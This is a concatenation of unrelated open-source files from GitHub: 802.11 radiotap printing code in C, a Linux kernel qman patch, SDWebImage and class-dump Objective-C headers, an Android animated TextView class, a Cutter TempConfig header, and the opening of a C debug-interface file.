#define IEEE80211_CHAN_G \
(IEEE80211_CHAN_2GHZ | IEEE80211_CHAN_DYN)
#define IS_CHAN_FHSS(flags) \
((flags & IEEE80211_CHAN_FHSS) == IEEE80211_CHAN_FHSS)
#define IS_CHAN_A(flags) \
((flags & IEEE80211_CHAN_A) == IEEE80211_CHAN_A)
#define IS_CHAN_B(flags) \
((flags & IEEE80211_CHAN_B) == IEEE80211_CHAN_B)
#define IS_CHAN_PUREG(flags) \
((flags & IEEE80211_CHAN_PUREG) == IEEE80211_CHAN_PUREG)
#define IS_CHAN_G(flags) \
((flags & IEEE80211_CHAN_G) == IEEE80211_CHAN_G)
#define IS_CHAN_ANYG(flags) \
(IS_CHAN_PUREG(flags) || IS_CHAN_G(flags))
static void
print_chaninfo(int freq, int flags)
{
printf("%u MHz", freq);
if (IS_CHAN_FHSS(flags))
printf(" FHSS");
if (IS_CHAN_A(flags)) {
if (flags & IEEE80211_CHAN_HALF)
printf(" 11a/10Mhz");
else if (flags & IEEE80211_CHAN_QUARTER)
printf(" 11a/5Mhz");
else
printf(" 11a");
}
if (IS_CHAN_ANYG(flags)) {
if (flags & IEEE80211_CHAN_HALF)
printf(" 11g/10Mhz");
else if (flags & IEEE80211_CHAN_QUARTER)
printf(" 11g/5Mhz");
else
printf(" 11g");
} else if (IS_CHAN_B(flags))
printf(" 11b");
if (flags & IEEE80211_CHAN_TURBO)
printf(" Turbo");
if (flags & IEEE80211_CHAN_HT20)
printf(" ht/20");
else if (flags & IEEE80211_CHAN_HT40D)
printf(" ht/40-");
else if (flags & IEEE80211_CHAN_HT40U)
printf(" ht/40+");
printf(" ");
}
static int
print_radiotap_field(struct cpack_state *s, u_int32_t bit, u_int8_t *flags,
struct radiotap_state *state, u_int32_t presentflags)
{
union {
int8_t i8;
u_int8_t u8;
int16_t i16;
u_int16_t u16;
u_int32_t u32;
u_int64_t u64;
} u, u2, u3, u4;
int rc;
switch (bit) {
case IEEE80211_RADIOTAP_FLAGS:
rc = cpack_uint8(s, &u.u8);
if (rc != 0)
break;
*flags = u.u8;
break;
case IEEE80211_RADIOTAP_RATE:
rc = cpack_uint8(s, &u.u8);
if (rc != 0)
break;
/* Save state rate */
state->rate = u.u8;
break;
case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
case IEEE80211_RADIOTAP_DB_ANTNOISE:
case IEEE80211_RADIOTAP_ANTENNA:
rc = cpack_uint8(s, &u.u8);
break;
case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
case IEEE80211_RADIOTAP_DBM_ANTNOISE:
rc = cpack_int8(s, &u.i8);
break;
case IEEE80211_RADIOTAP_CHANNEL:
rc = cpack_uint16(s, &u.u16);
if (rc != 0)
break;
rc = cpack_uint16(s, &u2.u16);
break;
case IEEE80211_RADIOTAP_FHSS:
case IEEE80211_RADIOTAP_LOCK_QUALITY:
case IEEE80211_RADIOTAP_TX_ATTENUATION:
case IEEE80211_RADIOTAP_RX_FLAGS:
rc = cpack_uint16(s, &u.u16);
break;
case IEEE80211_RADIOTAP_DB_TX_ATTENUATION:
rc = cpack_uint8(s, &u.u8);
break;
case IEEE80211_RADIOTAP_DBM_TX_POWER:
rc = cpack_int8(s, &u.i8);
break;
case IEEE80211_RADIOTAP_TSFT:
rc = cpack_uint64(s, &u.u64);
break;
case IEEE80211_RADIOTAP_XCHANNEL:
rc = cpack_uint32(s, &u.u32);
if (rc != 0)
break;
rc = cpack_uint16(s, &u2.u16);
if (rc != 0)
break;
rc = cpack_uint8(s, &u3.u8);
if (rc != 0)
break;
rc = cpack_uint8(s, &u4.u8);
break;
case IEEE80211_RADIOTAP_MCS:
rc = cpack_uint8(s, &u.u8);
if (rc != 0)
break;
rc = cpack_uint8(s, &u2.u8);
if (rc != 0)
break;
rc = cpack_uint8(s, &u3.u8);
break;
case IEEE80211_RADIOTAP_VENDOR_NAMESPACE: {
u_int8_t vns[3];
u_int16_t length;
u_int8_t subspace;
if ((cpack_align_and_reserve(s, 2)) == NULL) {
rc = -1;
break;
}
rc = cpack_uint8(s, &vns[0]);
if (rc != 0)
break;
rc = cpack_uint8(s, &vns[1]);
if (rc != 0)
break;
rc = cpack_uint8(s, &vns[2]);
if (rc != 0)
break;
rc = cpack_uint8(s, &subspace);
if (rc != 0)
break;
rc = cpack_uint16(s, &length);
if (rc != 0)
break;
/* Skip up to length */
s->c_next += length;
break;
}
default:
/* this bit indicates a field whose
* size we do not know, so we cannot
* proceed. Just print the bit number.
*/
printf("[bit %u] ", bit);
return -1;
}
if (rc != 0) {
printf("[|802.11]");
return rc;
}
/* Preserve the state present flags */
state->present = presentflags;
switch (bit) {
case IEEE80211_RADIOTAP_CHANNEL:
/*
* If CHANNEL and XCHANNEL are both present, skip
* CHANNEL.
*/
if (presentflags & (1 << IEEE80211_RADIOTAP_XCHANNEL))
break;
print_chaninfo(u.u16, u2.u16);
break;
case IEEE80211_RADIOTAP_FHSS:
printf("fhset %d fhpat %d ", u.u16 & 0xff, (u.u16 >> 8) & 0xff);
break;
case IEEE80211_RADIOTAP_RATE:
/*
* XXX On FreeBSD rate & 0x80 means we have an MCS. On
* Linux and AirPcap it does not. (What about
* Mac OS X, NetBSD, OpenBSD, and DragonFly BSD?)
*
* This is an issue either for proprietary extensions
* to 11a or 11g, which do exist, or for 11n
* implementations that stuff a rate value into
* this field, which also appear to exist.
*
* We currently handle that by assuming that
* if the 0x80 bit is set *and* the remaining
* bits have a value between 0 and 15 it's
* an MCS value, otherwise it's a rate. If
* there are cases where systems that use
* "0x80 + MCS index" for MCS indices > 15,
* or stuff a rate value here between 64 and
* 71.5 Mb/s in here, we'll need a preference
* setting. Such rates do exist, e.g. 11n
* MCS 7 at 20 MHz with a long guard interval.
*/
if (u.u8 >= 0x80 && u.u8 <= 0x8f) {
/*
* XXX - we don't know the channel width
* or guard interval length, so we can't
* convert this to a data rate.
*
* If you want us to show a data rate,
* use the MCS field, not the Rate field;
* the MCS field includes not only the
* MCS index, it also includes bandwidth
* and guard interval information.
*
* XXX - can we get the channel width
* from XChannel and the guard interval
* information from Flags, at least on
* FreeBSD?
*/
printf("MCS %u ", u.u8 & 0x7f);
} else
printf("%2.1f Mb/s ", .5*u.u8);
break;
case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
printf("%ddB signal ", u.i8);
break;
case IEEE80211_RADIOTAP_DBM_ANTNOISE:
printf("%ddB noise ", u.i8);
break;
case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
printf("%ddB signal ", u.u8);
break;
case IEEE80211_RADIOTAP_DB_ANTNOISE:
printf("%ddB noise ", u.u8);
break;
case IEEE80211_RADIOTAP_LOCK_QUALITY:
printf("%u sq ", u.u16);
break;
case IEEE80211_RADIOTAP_TX_ATTENUATION:
printf("%d tx power ", -(int)u.u16);
break;
case IEEE80211_RADIOTAP_DB_TX_ATTENUATION:
printf("%ddB tx power ", -(int)u.u8);
break;
case IEEE80211_RADIOTAP_DBM_TX_POWER:
printf("%ddBm tx power ", u.i8);
break;
case IEEE80211_RADIOTAP_FLAGS:
if (u.u8 & IEEE80211_RADIOTAP_F_CFP)
printf("cfp ");
if (u.u8 & IEEE80211_RADIOTAP_F_SHORTPRE)
printf("short preamble ");
if (u.u8 & IEEE80211_RADIOTAP_F_WEP)
printf("wep ");
if (u.u8 & IEEE80211_RADIOTAP_F_FRAG)
printf("fragmented ");
if (u.u8 & IEEE80211_RADIOTAP_F_BADFCS)
printf("bad-fcs ");
break;
case IEEE80211_RADIOTAP_ANTENNA:
printf("antenna %d ", u.u8);
break;
case IEEE80211_RADIOTAP_TSFT:
printf("%" PRIu64 "us tsft ", u.u64);
break;
case IEEE80211_RADIOTAP_RX_FLAGS:
/* Do nothing for now */
break;
case IEEE80211_RADIOTAP_XCHANNEL:
print_chaninfo(u2.u16, u.u32);
break;
case IEEE80211_RADIOTAP_MCS: {
static const char *bandwidth[4] = {
"20 MHz",
"40 MHz",
"20 MHz (L)",
"20 MHz (U)"
};
float htrate;
if (u.u8 & IEEE80211_RADIOTAP_MCS_MCS_INDEX_KNOWN) {
/*
* We know the MCS index.
*/
if (u3.u8 <= MAX_MCS_INDEX) {
/*
* And it's in-range.
*/
if (u.u8 & (IEEE80211_RADIOTAP_MCS_BANDWIDTH_KNOWN|IEEE80211_RADIOTAP_MCS_GUARD_INTERVAL_KNOWN)) {
/*
* And we know both the bandwidth and
* the guard interval, so we can look
* up the rate.
*/
htrate =
ieee80211_float_htrates \
[u3.u8] \
[((u2.u8 & IEEE80211_RADIOTAP_MCS_BANDWIDTH_MASK) == IEEE80211_RADIOTAP_MCS_BANDWIDTH_40 ? 1 : 0)] \
[((u2.u8 & IEEE80211_RADIOTAP_MCS_SHORT_GI) ? 1 : 0)];
} else {
/*
* We don't know both the bandwidth
* and the guard interval, so we can
* only report the MCS index.
*/
htrate = 0.0;
}
} else {
/*
* The MCS value is out of range.
*/
htrate = 0.0;
}
if (htrate != 0.0) {
/*
* We have the rate.
* Print it.
*/
printf("%.1f Mb/s MCS %u ", htrate, u3.u8);
} else {
/*
* We at least have the MCS index.
* Print it.
*/
printf("MCS %u ", u3.u8);
}
}
if (u.u8 & IEEE80211_RADIOTAP_MCS_BANDWIDTH_KNOWN) {
printf("%s ",
bandwidth[u2.u8 & IEEE80211_RADIOTAP_MCS_BANDWIDTH_MASK]);
}
if (u.u8 & IEEE80211_RADIOTAP_MCS_GUARD_INTERVAL_KNOWN) {
printf("%s GI ",
(u2.u8 & IEEE80211_RADIOTAP_MCS_SHORT_GI) ?
"short" : "lon");
}
if (u.u8 & IEEE80211_RADIOTAP_MCS_HT_FORMAT_KNOWN) {
printf("%s ",
(u2.u8 & IEEE80211_RADIOTAP_MCS_HT_GREENFIELD) ?
"greenfield" : "mixed");
}
if (u.u8 & IEEE80211_RADIOTAP_MCS_FEC_TYPE_KNOWN) {
printf("%s FEC ",
(u2.u8 & IEEE80211_RADIOTAP_MCS_FEC_LDPC) ?
"LDPC" : "BCC");
}
break;
}
}
return 0;
}
static u_int
ieee802_11_radio_print(const u_char *p, u_int length, u_int caplen)
{
#define BITNO_32(x) (((x) >> 16) ? 16 + BITNO_16((x) >> 16) : BITNO_16((x)))
#define BITNO_16(x) (((x) >> 8) ? 8 + BITNO_8((x) >> 8) : BITNO_8((x)))
#define BITNO_8(x) (((x) >> 4) ? 4 + BITNO_4((x) >> 4) : BITNO_4((x)))
#define BITNO_4(x) (((x) >> 2) ? 2 + BITNO_2((x) >> 2) : BITNO_2((x)))
#define BITNO_2(x) (((x) & 2) ? 1 : 0)
#define BIT(n) (1U << n)
#define IS_EXTENDED(__p) \
(EXTRACT_LE_32BITS(__p) & BIT(IEEE80211_RADIOTAP_EXT)) != 0
struct cpack_state cpacker;
struct ieee80211_radiotap_header *hdr;
u_int32_t present, next_present;
u_int32_t presentflags = 0;
u_int32_t *presentp, *last_presentp;
enum ieee80211_radiotap_type bit;
int bit0;
const u_char *iter;
u_int len;
u_int8_t flags;
int pad;
u_int fcslen;
struct radiotap_state state;
if (caplen < sizeof(*hdr)) {
printf("[|802.11]");
return caplen;
}
hdr = (struct ieee80211_radiotap_header *)p;
len = EXTRACT_LE_16BITS(&hdr->it_len);
if (caplen < len) {
printf("[|802.11]");
return caplen;
}
for (last_presentp = &hdr->it_present;
IS_EXTENDED(last_presentp) &&
(u_char*)(last_presentp + 1) <= p + len;
last_presentp++);
/* are there more bitmap extensions than bytes in header? */
if (IS_EXTENDED(last_presentp)) {
printf("[|802.11]");
return caplen;
}
iter = (u_char*)(last_presentp + 1);
if (cpack_init(&cpacker, (u_int8_t*)iter, len - (iter - p)) != 0) {
/* XXX */
printf("[|802.11]");
return caplen;
}
/* Assume no flags */
flags = 0;
/* Assume no Atheros padding between 802.11 header and body */
pad = 0;
/* Assume no FCS at end of frame */
fcslen = 0;
for (bit0 = 0, presentp = &hdr->it_present; presentp <= last_presentp;
presentp++, bit0 += 32) {
presentflags = EXTRACT_LE_32BITS(presentp);
/* Clear state. */
memset(&state, 0, sizeof(state));
for (present = EXTRACT_LE_32BITS(presentp); present;
present = next_present) {
/* clear the least significant bit that is set */
next_present = present & (present - 1);
/* extract the least significant bit that is set */
bit = (enum ieee80211_radiotap_type)
(bit0 + BITNO_32(present ^ next_present));
if (print_radiotap_field(&cpacker, bit, &flags, &state, presentflags) != 0)
goto out;
}
}
out:
if (flags & IEEE80211_RADIOTAP_F_DATAPAD)
pad = 1; /* Atheros padding */
if (flags & IEEE80211_RADIOTAP_F_FCS)
fcslen = 4; /* FCS at end of packet */
return len + ieee802_11_print(p + len, length - len, caplen - len, pad,
fcslen);
#undef BITNO_32
#undef BITNO_16
#undef BITNO_8
#undef BITNO_4
#undef BITNO_2
#undef BIT
}
static u_int
ieee802_11_avs_radio_print(const u_char *p, u_int length, u_int caplen)
{
u_int32_t caphdr_len;
if (caplen < 8) {
printf("[|802.11]");
return caplen;
}
caphdr_len = EXTRACT_32BITS(p + 4);
if (caphdr_len < 8) {
/*
* Yow! The capture header length is claimed not
* to be large enough to include even the version
* cookie or capture header length!
*/
printf("[|802.11]");
return caplen;
}
if (caplen < caphdr_len) {
printf("[|802.11]");
return caplen;
}
return caphdr_len + ieee802_11_print(p + caphdr_len,
length - caphdr_len, caplen - caphdr_len, 0, 0);
}
#define PRISM_HDR_LEN 144
#define WLANCAP_MAGIC_COOKIE_BASE 0x80211000
#define WLANCAP_MAGIC_COOKIE_V1 0x80211001
#define WLANCAP_MAGIC_COOKIE_V2 0x80211002
/*
* For DLT_PRISM_HEADER; like DLT_IEEE802_11, but with an extra header,
* containing information such as radio information, which we
* currently ignore.
*
* If, however, the packet begins with WLANCAP_MAGIC_COOKIE_V1 or
* WLANCAP_MAGIC_COOKIE_V2, it's really DLT_IEEE802_11_RADIO_AVS
* (currently, on Linux, there's no ARPHRD_ type for
* DLT_IEEE802_11_RADIO_AVS, as there is a ARPHRD_IEEE80211_PRISM
* for DLT_PRISM_HEADER, so ARPHRD_IEEE80211_PRISM is used for
* the AVS header, and the first 4 bytes of the header are used to
* indicate whether it's a Prism header or an AVS header).
*/
u_int
prism_if_print(const struct pcap_pkthdr *h, const u_char *p)
{
u_int caplen = h->caplen;
u_int length = h->len;
u_int32_t msgcode;
if (caplen < 4) {
printf("[|802.11]");
return caplen;
}
msgcode = EXTRACT_32BITS(p);
if (msgcode == WLANCAP_MAGIC_COOKIE_V1 ||
msgcode == WLANCAP_MAGIC_COOKIE_V2)
return ieee802_11_avs_radio_print(p, length, caplen);
if (caplen < PRISM_HDR_LEN) {
printf("[|802.11]");
return caplen;
}
return PRISM_HDR_LEN + ieee802_11_print(p + PRISM_HDR_LEN,
length - PRISM_HDR_LEN, caplen - PRISM_HDR_LEN, 0, 0);
}
/*
* For DLT_IEEE802_11_RADIO; like DLT_IEEE802_11, but with an extra
* header, containing information such as radio information.
*/
u_int
ieee802_11_radio_if_print(const struct pcap_pkthdr *h, const u_char *p)
{
return ieee802_11_radio_print(p, h->len, h->caplen);
}
/*
* For DLT_IEEE802_11_RADIO_AVS; like DLT_IEEE802_11, but with an
* extra header, containing information such as radio information,
* which we currently ignore.
*/
u_int
ieee802_11_radio_avs_if_print(const struct pcap_pkthdr *h, const u_char *p)
{
return ieee802_11_avs_radio_print(p, h->len, h->caplen);
}
| {
"pile_set_name": "Github"
} |
From c033d8c6e0aab9aad26c61c02db8b76c4a0eafa7 Mon Sep 17 00:00:00 2001
From: Madalin Bucur <[email protected]>
Date: Thu, 15 Jan 2015 12:32:38 +0200
Subject: [PATCH 11/53] soc/qman: add qman_delete_cgr_safe()
Add qman_delete_cgr_safe() that can be called from any CPU.
This in turn schedules qman_delete_cgr() on the proper CPU.
Signed-off-by: Madalin Bucur <[email protected]>
Signed-off-by: Roy Pledge <[email protected]>
---
drivers/soc/fsl/qbman/qman_api.c | 46 ++++++++++++++++++++++++++++++++++++++++
1 file changed, 46 insertions(+)
diff --git a/drivers/soc/fsl/qbman/qman_api.c b/drivers/soc/fsl/qbman/qman_api.c
index d4f9be0..1dd60f2 100644
--- a/drivers/soc/fsl/qbman/qman_api.c
+++ b/drivers/soc/fsl/qbman/qman_api.c
@@ -2463,6 +2463,8 @@ EXPORT_SYMBOL(qman_modify_cgr);
QM_CHANNEL_SWPORTAL0))
#define PORTAL_IDX(n) (n->config->public_cfg.channel - QM_CHANNEL_SWPORTAL0)
+static u8 qman_cgr_cpus[__CGR_NUM];
+
int qman_create_cgr(struct qman_cgr *cgr, u32 flags,
struct qm_mcc_initcgr *opts)
{
@@ -2479,7 +2481,10 @@ int qman_create_cgr(struct qman_cgr *cgr, u32 flags,
if (cgr->cgrid >= __CGR_NUM)
return -EINVAL;
+ preempt_disable();
p = get_affine_portal();
+ qman_cgr_cpus[cgr->cgrid] = smp_processor_id();
+ preempt_enable();
memset(&local_opts, 0, sizeof(struct qm_mcc_initcgr));
cgr->chan = p->config->public_cfg.channel;
@@ -2621,6 +2626,47 @@ put_portal:
}
EXPORT_SYMBOL(qman_delete_cgr);
+struct cgr_comp {
+ struct qman_cgr *cgr;
+ struct completion completion;
+};
+
+static int qman_delete_cgr_thread(void *p)
+{
+ struct cgr_comp *cgr_comp = (struct cgr_comp *)p;
+ int res;
+
+ res = qman_delete_cgr((struct qman_cgr *)cgr_comp->cgr);
+ complete(&cgr_comp->completion);
+
+ return res;
+}
+
+void qman_delete_cgr_safe(struct qman_cgr *cgr)
+{
+ struct task_struct *thread;
+ struct cgr_comp cgr_comp;
+
+ preempt_disable();
+ if (qman_cgr_cpus[cgr->cgrid] != smp_processor_id()) {
+ init_completion(&cgr_comp.completion);
+ cgr_comp.cgr = cgr;
+ thread = kthread_create(qman_delete_cgr_thread, &cgr_comp,
+ "cgr_del");
+
+ if (likely(!IS_ERR(thread))) {
+ kthread_bind(thread, qman_cgr_cpus[cgr->cgrid]);
+ wake_up_process(thread);
+ wait_for_completion(&cgr_comp.completion);
+ preempt_enable();
+ return;
+ }
+ }
+ qman_delete_cgr(cgr);
+ preempt_enable();
+}
+EXPORT_SYMBOL(qman_delete_cgr_safe);
+
int qman_set_wpm(int wpm_enable)
{
return qm_set_wpm(wpm_enable);
--
2.1.0.27.g96db324
| {
"pile_set_name": "Github"
} |
//
// MKAnnotationView+WebCache.h
// SDWebImage
//
// Created by Olivier Poitrey on 14/03/12.
// Copyright (c) 2012 Dailymotion. All rights reserved.
//
#import "MapKit/MapKit.h"
#import "SDWebImageManager.h"
/**
* Integrates SDWebImage async downloading and caching of remote images with MKAnnotationView.
*/
@interface MKAnnotationView (WebCache)
/**
* Get the current image URL.
*
* Note that because of the limitations of categories this property can get out of sync
* if you use sd_setImage: directly.
*/
- (NSURL *)sd_imageURL;
/**
* Set the imageView `image` with an `url`.
*
* The download is asynchronous and cached.
*
* @param url The url for the image.
*/
- (void)sd_setImageWithURL:(NSURL *)url;
/**
* Set the imageView `image` with an `url` and a placeholder.
*
* The download is asynchronous and cached.
*
* @param url The url for the image.
* @param placeholder The image to be set initially, until the image request finishes.
* @see sd_setImageWithURL:placeholderImage:options:
*/
- (void)sd_setImageWithURL:(NSURL *)url placeholderImage:(UIImage *)placeholder;
/**
* Set the imageView `image` with an `url`, placeholder and custom options.
*
* The download is asynchronous and cached.
*
* @param url The url for the image.
* @param placeholder The image to be set initially, until the image request finishes.
* @param options The options to use when downloading the image. @see SDWebImageOptions for the possible values.
*/
- (void)sd_setImageWithURL:(NSURL *)url placeholderImage:(UIImage *)placeholder options:(SDWebImageOptions)options;
/**
* Set the imageView `image` with an `url`.
*
* The download is asynchronous and cached.
*
* @param url The url for the image.
* @param completedBlock A block called when operation has been completed. This block has no return value
* and takes the requested UIImage as first parameter. In case of error the image parameter
* is nil and the second parameter may contain an NSError. The third parameter is a Boolean
* indicating if the image was retrived from the local cache or from the network.
* The fourth parameter is the original image url.
*/
- (void)sd_setImageWithURL:(NSURL *)url completed:(SDWebImageCompletionBlock)completedBlock;
/**
* Set the imageView `image` with an `url`, placeholder.
*
* The download is asynchronous and cached.
*
* @param url The url for the image.
* @param placeholder The image to be set initially, until the image request finishes.
* @param completedBlock A block called when operation has been completed. This block has no return value
* and takes the requested UIImage as first parameter. In case of error the image parameter
* is nil and the second parameter may contain an NSError. The third parameter is a Boolean
* indicating if the image was retrived from the local cache or from the network.
* The fourth parameter is the original image url.
*/
- (void)sd_setImageWithURL:(NSURL *)url placeholderImage:(UIImage *)placeholder completed:(SDWebImageCompletionBlock)completedBlock;
/**
* Set the imageView `image` with an `url`, placeholder and custom options.
*
* The download is asynchronous and cached.
*
* @param url The url for the image.
* @param placeholder The image to be set initially, until the image request finishes.
* @param options The options to use when downloading the image. @see SDWebImageOptions for the possible values.
* @param completedBlock A block called when operation has been completed. This block has no return value
* and takes the requested UIImage as first parameter. In case of error the image parameter
* is nil and the second parameter may contain an NSError. The third parameter is a Boolean
* indicating if the image was retrived from the local cache or from the network.
* The fourth parameter is the original image url.
*/
- (void)sd_setImageWithURL:(NSURL *)url placeholderImage:(UIImage *)placeholder options:(SDWebImageOptions)options completed:(SDWebImageCompletionBlock)completedBlock;
/**
* Cancel the current download
*/
- (void)sd_cancelCurrentImageLoad;
@end
@interface MKAnnotationView (WebCacheDeprecated)
- (NSURL *)imageURL __deprecated_msg("Use `sd_imageURL`");
- (void)setImageWithURL:(NSURL *)url __deprecated_msg("Method deprecated. Use `sd_setImageWithURL:`");
- (void)setImageWithURL:(NSURL *)url placeholderImage:(UIImage *)placeholder __deprecated_msg("Method deprecated. Use `sd_setImageWithURL:placeholderImage:`");
- (void)setImageWithURL:(NSURL *)url placeholderImage:(UIImage *)placeholder options:(SDWebImageOptions)options __deprecated_msg("Method deprecated. Use `sd_setImageWithURL:placeholderImage:options:`");
- (void)setImageWithURL:(NSURL *)url completed:(SDWebImageCompletedBlock)completedBlock __deprecated_msg("Method deprecated. Use `sd_setImageWithURL:completed:`");
- (void)setImageWithURL:(NSURL *)url placeholderImage:(UIImage *)placeholder completed:(SDWebImageCompletedBlock)completedBlock __deprecated_msg("Method deprecated. Use `sd_setImageWithURL:placeholderImage:completed:`");
- (void)setImageWithURL:(NSURL *)url placeholderImage:(UIImage *)placeholder options:(SDWebImageOptions)options completed:(SDWebImageCompletedBlock)completedBlock __deprecated_msg("Method deprecated. Use `sd_setImageWithURL:placeholderImage:options:completed:`");
- (void)cancelCurrentImageLoad __deprecated_msg("Use `sd_cancelCurrentImageLoad`");
@end
| {
"pile_set_name": "Github"
} |
//
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//
#import <IMFoundation/HTMLToSuper_Default_Frame.h>
@interface HTMLToSuper_A_Frame : HTMLToSuper_Default_Frame
{
BOOL _shouldPopLink;
}
- (void)parser:(id)arg1 context:(id)arg2 didEndElement:(id)arg3 namespaceURI:(id)arg4 qualifiedName:(id)arg5;
- (void)parser:(id)arg1 context:(id)arg2 didStartElement:(id)arg3 namespaceURI:(id)arg4 qualifiedName:(id)arg5 attributes:(id)arg6;
@end
| {
"pile_set_name": "Github"
} |
package com.ng.ui.other.textview;
import android.animation.Animator;
import android.animation.AnimatorListenerAdapter;
import android.animation.AnimatorSet;
import android.animation.ObjectAnimator;
import android.animation.PropertyValuesHolder;
import android.content.Context;
import android.content.res.ColorStateList;
import android.content.res.TypedArray;
import android.graphics.Typeface;
import android.text.TextUtils;
import android.util.AttributeSet;
import android.view.Gravity;
import android.widget.RelativeLayout;
import android.widget.TextView;
import com.ng.nguilib.utils.MLog;
import com.ng.ui.R;
/**
* 描述:
*
* @author Jzn
* @date 2020-01-06
*/
public class UpChangeTextView extends RelativeLayout {
private Context mContext;
private TextView mTvs[] = new TextView[2];
private String curText = null;
private int mChangeAnimTime = 200;
private int mAppearAnimTime = 200;
private boolean isRunning = false;
private boolean isDetaching = false;
private AnimatorSet mAnimatorSet;
//txt param
private ColorStateList mTextColor;
private int mTextSize;
public ColorStateList getmTextColor() {
return mTextColor;
}
public void setmTextColor(ColorStateList mTextColor) {
this.mTextColor = mTextColor;
refreshView();
}
public int getmTextSize() {
return mTextSize;
}
public void setmTextSize(int mTextSize) {
this.mTextSize = mTextSize;
refreshView();
}
private void refreshView() {
this.removeAllViews();
mTvs[0] = addText();
mTvs[1] = addText();
mTvs[1].setVisibility(INVISIBLE);
if (!TextUtils.isEmpty(curText)) {
mTvs[0].setText(curText);
}
}
public UpChangeTextView(Context context, AttributeSet attrs) {
super(context, attrs);
mContext = context;
initViews(attrs);
}
private void initViews(AttributeSet attrs) {
if (attrs != null) {
TypedArray t = getContext().obtainStyledAttributes(attrs, R.styleable.UpChangeTextView);
curText = t.getString(R.styleable.UpChangeTextView_up_change_tv_text);
mTextColor = t.getColorStateList(R.styleable.UpChangeTextView_up_change_tv_textColor);
mTextSize = t.getDimensionPixelSize(R.styleable.UpChangeTextView_up_change_tv_textSize, 10);
t.recycle();
}
refreshView();
}
private TextView addText() {
TextView tv = new TextView(mContext);
tv.setGravity(Gravity.CENTER);
tv.setTypeface(Typeface.defaultFromStyle(Typeface.BOLD));
if (mTextColor != null) {
tv.setTextColor(mTextColor);
}
tv.setTextSize(mTextSize);
this.addView(tv);
return tv;
}
// 防止内存泄漏的操作
@Override
protected void onDetachedFromWindow() {
super.onDetachedFromWindow();
isDetaching = true;
if (mAnimatorSet != null) {
mAnimatorSet.cancel();
mAnimatorSet.end();
mAnimatorSet = null;
}
}
@Override
protected void onAttachedToWindow() {
super.onAttachedToWindow();
}
@Override
protected void onSizeChanged(int w, int h, int oldw, int oldh) {
super.onSizeChanged(w, h, oldw, oldh);
if (!isInEditMode()) {
post(this::setViewsHeight);
}
}
/***
* 重新设置VIEW的高度
*/
private void setViewsHeight() {
for (TextView tv : mTvs) {
RelativeLayout.LayoutParams lp = (RelativeLayout.LayoutParams) tv.getLayoutParams();
lp.height = getHeight();
lp.width = getWidth();
tv.setLayoutParams(lp);
}
}
//出现
public void startAppearAnim() {
ObjectAnimator alphaAnimation = ObjectAnimator.ofFloat(this, "alpha", 0f, 1f);
alphaAnimation.setDuration(mAppearAnimTime);
alphaAnimation.start();
}
//消失
public void startDisAppearAnim() {
ObjectAnimator alphaAnimation = ObjectAnimator.ofFloat(this, "alpha", 1f, 0f);
alphaAnimation.setDuration(mAppearAnimTime);
alphaAnimation.start();
}
public void setText(String str) {
MLog.INSTANCE.d("str: " + str);
if (curText == null) {
this.curText = str;
mTvs[0].setText(str);
} else {
curText = str;
//change
mTvs[1].setText(str);
mTvs[1].setVisibility(VISIBLE);
//0 ⬆
PropertyValuesHolder tsy1 = PropertyValuesHolder.ofFloat("translationY", 0, -getHeight() / 3);
PropertyValuesHolder scaleY1 = PropertyValuesHolder.ofFloat("scaleX", 1f, 0.5f);
PropertyValuesHolder scaleX1 = PropertyValuesHolder.ofFloat("scaleY", 1f, 0.5f);
PropertyValuesHolder alpha1 = PropertyValuesHolder.ofFloat("alpha", 1f, 0f);
ObjectAnimator anim1 = ObjectAnimator.ofPropertyValuesHolder(mTvs[0], tsy1, scaleY1, scaleX1, alpha1);
//1 ⬆
PropertyValuesHolder tsY0 = PropertyValuesHolder.ofFloat("translationY", getHeight() / 3, 0);
PropertyValuesHolder scaleY0 = PropertyValuesHolder.ofFloat("scaleX", 0.5f, 1f);
PropertyValuesHolder scaleX0 = PropertyValuesHolder.ofFloat("scaleY", 0.5f, 1f);
PropertyValuesHolder alpha0 = PropertyValuesHolder.ofFloat("alpha", 0f, 1f);
ObjectAnimator anim0 = ObjectAnimator.ofPropertyValuesHolder(mTvs[1], tsY0, scaleY0, scaleX0, alpha0);
//集合调用
mAnimatorSet = new AnimatorSet();
mAnimatorSet.playTogether(anim0, anim1);
mAnimatorSet.setDuration(mChangeAnimTime);
mAnimatorSet.addListener(new AnimatorListenerAdapter() {
@Override
public void onAnimationStart(Animator animation) {
super.onAnimationStart(animation);
isRunning = true;
}
@Override
public void onAnimationEnd(Animator animation) {
super.onAnimationEnd(animation);
if (!isDetaching) {
mTvs[0].setText(str);
}
isRunning = false;
}
});
if (!isRunning && !isDetaching)
mAnimatorSet.start();
}
}
}
| {
"pile_set_name": "Github"
} |
#ifndef TEMPCONFIG_H
#define TEMPCONFIG_H
#include "core/CutterCommon.h"
#include <QString>
#include <QVariant>
/**
* @brief Class for temporary modifying r2 `e` configuration.
*
* Modified values will be restored at the end of scope. This is useful when using a r2 command that can only
* be configured using `e` configuration and doesn't accept arguments. TempConfig::set calls can be chained.
* If a command or r2 method accepts arguments directly it is preferred to use those instead of temporary modifying
* global configuration.
*
* \code
* {
* TempConfig tempConfig;
* tempConfig.set("asm.arch", "x86").set("asm.comments", false);
* return Core()->cmdRaw("pd");
* // config automatically restored at the end of scope
* }
* \endcode
*/
class CUTTER_EXPORT TempConfig
{
public:
TempConfig() = default;
~TempConfig();
TempConfig &set(const QString &key, const QString &value);
TempConfig &set(const QString &key, const char *value);
TempConfig &set(const QString &key, int value);
TempConfig &set(const QString &key, bool value);
private:
TempConfig(const TempConfig&) = delete;
TempConfig &operator=(const TempConfig&) = delete;
QMap<QString, QVariant> resetValues;
};
#endif //TEMPCONFIG_H
| {
"pile_set_name": "Github"
} |
#include "platform.h"
#include "pc.h"
#include "di_defs.h"
#include "debug_if.h"
#include "divasync.h"
#include "kst_ifc.h"
#include "maintidi.h"
#include "man_defs.h"
/*
LOCALS
*/
#define DBG_MAGIC (0x47114711L)
static void DI_register (void *arg);
static void DI_deregister (pDbgHandle hDbg);
static void DI_format (int do_lock, word id, int type, char *format, va_list argument_list);
static void DI_format_locked (word id, int type, char *format, va_list argument_list);
static void DI_format_old (word id, char *format, va_list ap) { }
